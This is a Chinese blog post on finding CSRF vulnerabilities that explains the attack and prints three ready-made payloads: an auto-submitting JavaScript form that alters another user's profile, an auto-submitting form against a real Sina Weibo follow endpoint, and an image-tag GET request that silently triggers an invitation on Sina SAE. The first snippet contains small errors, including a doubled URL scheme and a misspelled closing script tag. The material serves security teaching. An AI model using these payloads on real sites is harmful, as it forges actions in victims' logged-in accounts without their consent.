标签归档:CSRF

浅谈CSRF漏洞挖掘技巧

CSRF(Cross-site request forgery跨站请求伪造,也被称成为“one click attack”或者session riding。

例A:
针对某个人进行CSRF POST攻击,需要诱导用户点击所以称 one click attack

首先假定有2个用户,分别为 A用户 和 B用户
A用户申请的ID为1 ,B用户申请的ID为2
A用户修改个人资料的URL假设为:http://www.xxx.com/userinfo.php?id=1
POST参数为name
如果A用户知道B用户ID为2且A用户通过修改ID不能访问到B用户的时候,可以进行CSRF攻击
首先建个页面,页面代码如下:

<html>
<body>
<script>
form=document.createElement('form');
form.setAttribute("action","http://http://www.xxx.com/userinfo.php?uid=2");
form.setAttribute("method","post");
form.setAttribute("name","myform");
 
input=document.createElement('input');
input.setAttribute("type","text");
input.setAttribute("name","username");
input.setAttribute("value","更改 B 用户");
 
document.body.appendChild(form);
form.appendChild(input);
 
document.myform.submit();
 
</sript>
</html>

 

例B:针对所有人进行CSRF POST攻击,one click attack
这里新浪微博关注漏洞,利用的就是这个原理(代码来自乌云imlonghao)

<html>
<body>
<form id="imlonghao" name="imlonghao" action="http://book.weibo.com/ajaxv2/user/addRelation" method="post">
<input type="text" name="obj_id" value="[You ID]" /> //要关注谁就填哪个ID,只要用户点击这个页面,即可关注该ID
</form>
<script>
	document.imlonghao.submit();
</script>
</body>
</html>

别人只要点击链接,即可触发漏洞

接着讲CSRF GET 攻击
也用例子说明(该例子来自乌云YKS )
新浪SAE普通开发者认证CSRF

1.在邀请链接后面加上&makesure=1,然后到新浪开发者论坛回复插入下面的代码,别人在登陆了SAE的情况下打开有该代码的帖子会自动邀请指定用户。

<img src="http://sae.sina.com.cn/?m=home&a=devlevel&level=normal_level&voteme=XXXXX&makesure=1">

只要查看该页面,即可自动邀请指定用户
是不是对于CSRF有了不同的认识了啊